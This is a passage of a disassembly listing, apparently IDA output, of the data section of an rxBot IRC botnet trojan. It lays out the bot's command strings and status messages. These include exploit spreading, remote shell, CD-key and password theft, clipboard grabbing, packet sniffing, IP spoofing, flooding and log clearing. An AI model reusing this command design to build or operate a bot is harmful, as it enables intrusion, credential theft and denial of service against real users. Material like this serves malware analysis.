		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41AFo
dword_42B178	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C71o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B1A4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+419Ao
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B1E0	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+416Ao
aFailedToSta_18	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B21C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40FBo
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B24C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4094o
aAlreadyRunni_2	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+4074o
					; sub_401ACD+41C6o ...
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+405Do
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+4048o
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4033o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+401Eo
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4009o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+3FF4o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FDFo
aV:					; DATA XREF: sub_401ACD+3FCAo
					; ___:00437C44o ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FB5o
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FA0o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F8Bo
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F76o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F4Co
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F37o
					; sub_401ACD+4644o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F22o
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F0Do
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EF8o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE3o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ECEo
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA4o
		align 10h
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Fo
		align 4
aO:					; DATA XREF: sub_401ACD+3E7Ao
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E65o
					; sub_401ACD+590Bo ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E50o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E3Bo
		align 10h
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E26o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E11o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DFCo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DE7o
		align 10h
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DBDo
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D93o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D7Eo
		align 4
aJ:					; DATA XREF: sub_401ACD+3D54o
					; ___:00437C2Co
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D2Ao
					; ___:00437C4Co
		unicode	0, <n>,0
unk_42B34C	db  2Dh	; -		; DATA XREF: sub_401ACD+3CF6o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C69o
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3C10o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B43o
dword_42B3AC	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AEFo
					; sub_401ACD+3B26o
		dd 0
dword_42B3C4	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3AB8o
		dd 1
dword_42B3DC	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A81o
					; sub_401ACD+3B98o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+3A2Co
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3997o
					; sub_401ACD+39D3o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+393Do
		align 10h
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+384Eo
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+3807o
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+3705o
					; sub_401ACD+3D15o
		align 4
dword_42B424	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+36E8o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B44C	dd 636364h		; DATA XREF: sub_401ACD+366Bo
dword_42B450	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo
dword_42B45C	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+3501o
					; sub_401ACD+3762o ...
dword_42B464	dd 69257325h, 0		; DATA XREF: sub_401ACD+34E6o
					; sub_40ACB5+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+34A5o
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3488o
					; sub_401ACD+3578o ...
		align 10h
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+3461o
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+3444o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+3422o
					; sub_401ACD+3D69o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+3405o
					; sub_401ACD+354Co ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+33E3o
					; sub_401ACD+3D3Fo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+33C6o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3377o
					; sub_401ACD+48F1o
		align 10h
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+335Ao
		align 10h
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+330Bo
		align 4
dword_42B4D4	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32EEo
dword_42B4E8	dd 7463h		; DATA XREF: sub_401ACD+329Fo
dword_42B4EC	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o
					; sub_401ACD+38A8o ...
dword_42B4FC	dd 5Fh			; DATA XREF: sub_401ACD+3253o
					; sub_401ACD+32BFo ...
dword_42B500	dd 6D70h		; DATA XREF: sub_401ACD+3233o
					; sub_401ACD+487Eo
unk_42B504	db  2Dh	; -		; DATA XREF: sub_401ACD+3201o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 10h
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+31AAo
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3181o
		align 10h
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+316Ao
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3155o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+3140o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+312Bo
		align 4
unk_42B56C	db  2Dh	; -		; DATA XREF: sub_401ACD+3120o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42B5AC	db  2Dh	; -		; DATA XREF: sub_401ACD+30AEo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+3028o
unk_42B5E4	db  2Dh	; -		; DATA XREF: sub_401ACD+300Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 10h
unk_42B610	db  2Dh	; -		; DATA XREF: sub_401ACD+2FF0o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2FCCo
		align 10h
unk_42B650	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_404A40o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_404A22o
					; sub_401ACD+3F61o
unk_42B68C	db  2Dh	; -		; DATA XREF: sub_401ACD+2EDAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_42B6B8	db  2Dh	; -		; DATA XREF: sub_401ACD+2ED2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
dword_42B6E4	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401ACD+2E7Do
unk_42B6F4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40493Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
dword_42B7A4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E4Bo
aFailedToSta_19	db '- Failed to start secure thread, error: <%d>.',0
		align 10h
dword_42B7E0	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2DD1o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2DCBo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2DC4o
		align 4
unk_42B814	db  2Dh	; -		; DATA XREF: sub_401ACD+2D4Do
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_20	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42B854	db  2Dh	; -		; DATA XREF: sub_401ACD+2CC9o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 10h
dword_42B880	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C47o
aFailedToSta_21	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42B8BC	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2BD8o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42B8E4	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2B25o
dword_42B8F4	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o
dword_42B900	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do
dword_42B910	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2B08o
dword_42B920	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401ACD+2A95o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o
					; sub_401ACD:loc_409778o ...
		align 4
dword_42B954	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401ACD+2A73o
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do
					; sub_401ACD+7A7Eo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo
		align 4
unk_42B9A4	db  2Dh	; -		; DATA XREF: sub_401ACD+2A17o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 10h
dword_42B9D0	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401ACD+29D8o
		dd 2E7325h
unk_42B9E8	db  2Dh	; -		; DATA XREF: sub_401ACD+29C9o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_22	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42BA24	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+295Ao
		dd 65726874h, 2E736461h, 0
dword_42BA44	dd 627573h		; DATA XREF: sub_401ACD+2934o
dword_42BA48	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401ACD+28E2o
		dd 2E7473h
unk_42BA60	db  2Dh	; -		; DATA XREF: sub_401ACD+28C7o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_23	db '- Failed to start listing thread, error: <%d>.',0
dword_42BA98	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2858o
		dd 2E676Fh
dword_42BAB0	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401ACD+27B3o
		dd 6F666E49h, 2Eh
dword_42BACC	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401ACD+2784o
		dd 2E6F666Eh, 0
dword_42BAE8	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401ACD+272Fo
		dd 746F4220h, 2Eh
unk_42BB04	db  2Dh	; -		; DATA XREF: sub_401ACD+2713o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start listing thread, error: <%d>.',0
		align 10h
dword_42BB40	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+269Eo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+267Eo
		align 4
unk_42BB64	db  2Dh	; -		; DATA XREF: sub_401ACD+261Co
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
dword_42BB84	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401ACD+25F9o
aSearchComplete	db '- Search completed.',0
dword_42BBA4	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401ACD+25ADo
		dd 2E7325h
unk_42BBBC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403FEAo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42BBDC	db  2Dh	; -		; DATA XREF: sub_401ACD+2513o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42BC04	db  2Dh	; -		; DATA XREF: sub_401ACD+24F4o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 10h
dword_42BC30	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401ACD+24DEo
		dd 72616F62h, 2E64h
dword_42BC4C	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+24B0o
		dd 2Dh
unk_42BC64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F6Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 10h
unk_42BC90	db  2Dh	; -		; DATA XREF: sub_401ACD+2499o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42BCB4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F42o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 10h
unk_42BCE0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F3Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42BD0C	db  2Dh	; -		; DATA XREF: sub_401ACD+2467o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 10h
unk_42BD30	db  2Dh	; -		; DATA XREF: sub_401ACD+2414o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_25	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42BD6C	db  2Dh	; -		; DATA XREF: sub_401ACD+23A5o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42BDA8	db  2Dh	; -		; DATA XREF: sub_401ACD+22BFo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BDE4	db  2Dh	; -		; DATA XREF: sub_401ACD+2254o
					; sub_40BACD+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42BE20	db  2Dh	; -		; DATA XREF: sub_401ACD+214Do
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_27	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BE5C	db  2Dh	; -		; DATA XREF: sub_401ACD+20DEo
					; sub_40BACD+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 10h
unk_42BE90	db  2Dh	; -		; DATA XREF: sub_401ACD+2029o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_4	db ' Already running.',0
		align 10h
unk_42BEB0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403AE0o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan, port is invalid.',0
		align 4
unk_42BEE8	db  2Dh	; -		; DATA XREF: sub_401ACD+1FC3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_29	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42BF24	db  2Dh	; -		; DATA XREF: sub_401ACD+1F52o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1F27o
					; sub_401ACD+5BEEo
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1F20o
					; sub_401ACD+5BE7o
		align 4
unk_42BFA4	db  2Dh	; -		; DATA XREF: sub_401ACD+1D6Do
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_42BFE4	db  2Dh	; -		; DATA XREF: sub_401ACD+1D0Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start search thread, error: <%d>.',0
unk_42C020	db  2Dh	; -		; DATA XREF: sub_401ACD+1C95o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1C4Co
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1C3Bo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1C11o
		align 4
aSa		db 'sa',0               ; DATA XREF: sub_401ACD+1BFCo
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1BE7o
					; sub_401ACD+4FA1o
dword_42C090	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401ACD+1B97o
		dd 746F6220h, 2Eh
aCrash		db 'crash',0            ; DATA XREF: sub_401ACD+1B81o
					; sub_401ACD+1BD1o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B6Co
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1B57o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1B42o
		align 10h
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1B2Do
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1B18o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1B03o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1AEEo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1AD9o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1AC4o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1AAFo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A9Ao
		align 10h
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A85o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A70o
		align 10h
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+1A5Bo
unk_42C138	db  2Dh	; -		; DATA XREF: sub_401ACD+1A1Do
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+1A02o
					; sub_401ACD+3CAFo ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+19EBo
		align 4
unk_42C16C	db  2Dh	; -		; DATA XREF: sub_401ACD+19CDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1995o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_403453o
dword_42C1A0	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+195Bo
dword_42C1B4	dd 6F6877h		; DATA XREF: sub_401ACD+193Eo
dword_42C1B8	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o
dword_42C1C4	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+192Eo
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+1915o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+1900o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+18EBo
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+18D6o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+18C1o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+18ACo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+1897o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1882o
		align 10h
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+186Do
		align 4
aKey		db 'key',0              ; DATA XREF: sub_401ACD+1858o
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401ACD+1843o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+182Eo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+1819o
		align 4
aLsp100		db 'lsp100',0           ; DATA XREF: sub_401ACD+17EFo
					; sub_401ACD+1804o
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17DAo
		align 10h
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+17C5o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+17B0o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+179Bo
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1786o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1771o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+175Co
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1747o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1732o
		align 10h
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+171Do
aT:					; DATA XREF: sub_401ACD+1708o
					; ___:00437F84o
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16F3o
unk_42C284	db  2Dh	; -		; DATA XREF: sub_401ACD+16BFo
		db 3, 34h, 2
		db  6Dh	; m
